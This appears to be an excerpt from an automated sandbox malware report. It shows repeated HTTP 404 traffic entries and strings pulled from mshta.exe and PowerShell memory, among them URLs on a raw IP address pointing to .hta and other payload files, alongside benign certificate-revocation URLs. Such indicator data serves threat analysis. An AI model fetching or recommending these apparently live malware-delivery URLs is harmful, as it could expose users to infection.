Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:54 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:55 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:56 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:57 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:46:59 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:00 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:03 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:04 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:05 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:07 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:09 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:10 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:11 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:12 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:13 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:15 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:16 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:17 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:18 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:19 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:20 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:21 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:22 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:23 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:25 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:26 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:27 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:28 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:29 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:30 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:31 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:33 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:34 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:35 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:35 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:37 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:38 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:39 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Thu, 24 Oct 2024 06:47:40 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: mshta.exe, 0000000F.00000002.467980452.00000000033D2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.00000000033D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/
Source: mshta.exe, 00000004.00000002.417853358.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415792873.000000000201E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415290923.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415580247.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415217426.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.456631512.0000000002DAF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.000000000054F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467916153.000000000335C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.000000000054F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.0000000000565000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.456564171.0000000002DAE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.0000000000565000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.00000000004EF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta
Source: mshta.exe, 0000000F.00000002.467916153.000000000335C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.465640922.000000000335C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta...
Source: mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta...al=qui
Source: mshta.exe, 0000000F.00000003.461799715.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta;
Source: mshta.exe, 0000000F.00000002.467916153.000000000335C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.465640922.000000000335C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaC:
Source: mshta.exe, 00000004.00000003.415290923.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417694629.0000000000525000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415580247.0000000000525000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaEM
Source: mshta.exe, 0000000F.00000002.468383911.0000000004710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaLKWWS
Source: mshta.exe, 0000000F.00000003.461799715.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.0000000000505000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaP
Source: mshta.exe, 00000004.00000002.417853358.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415217426.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461799715.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.462283726.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467568296.000000000051A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htacepC:
Source: mshta.exe, 00000004.00000003.415792873.0000000002015000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461896844.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461439438.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htahttp://192.3.176.141/36/
Source: mshta.exe, 0000000F.00000003.455711004.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.455711004.000000000051A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htaicial
Source: mshta.exe, 0000000F.00000002.467916153.000000000335C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.465640922.000000000335C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.htau
Source: powershell.exe, 00000005.00000002.442283646.00000000039DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.481877021.0000000002687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/goodthin
Source: powershell.exe, 00000011.00000002.481877021.000000000283A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/goodthingswithgreatcomebackwithgreatthigns.tIF
Source: powershell.exe, 00000005.00000002.445624079.000000001A933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/goodthingswithgreatcomebackwithgreatthigns.tIFe089
Source: powershell.exe, 00000011.00000002.486368621.000000001AAF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/goodthingswithgreatcomebackwithgreatthigns.tIFe089Q
Source: powershell.exe, 00000005.00000002.442283646.00000000039DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.481877021.0000000002687000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/36/goodthingswithgreatcomebackwithgreatthigns.tIFp
Source: mshta.exe, 00000004.00000002.417853358.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415217426.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/P
Source: mshta.exe, 0000000F.00000002.467980452.00000000033D2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.00000000033D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/a.li
Source: mshta.exe, 00000004.00000002.417853358.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415217426.0000000002BA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.141/d
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.493058741.000000000229F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.493058741.000000000233E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000005.00000002.445947202.000000001C85E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.cr
Source: powershell.exe, 00000005.00000002.442283646.0000000002FDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000005.00000002.442283646.000000000238B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.445318910.00000000121B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000003.415217426.0000000002B54000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417853358.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.467980452.0000000003382000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.461752032.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
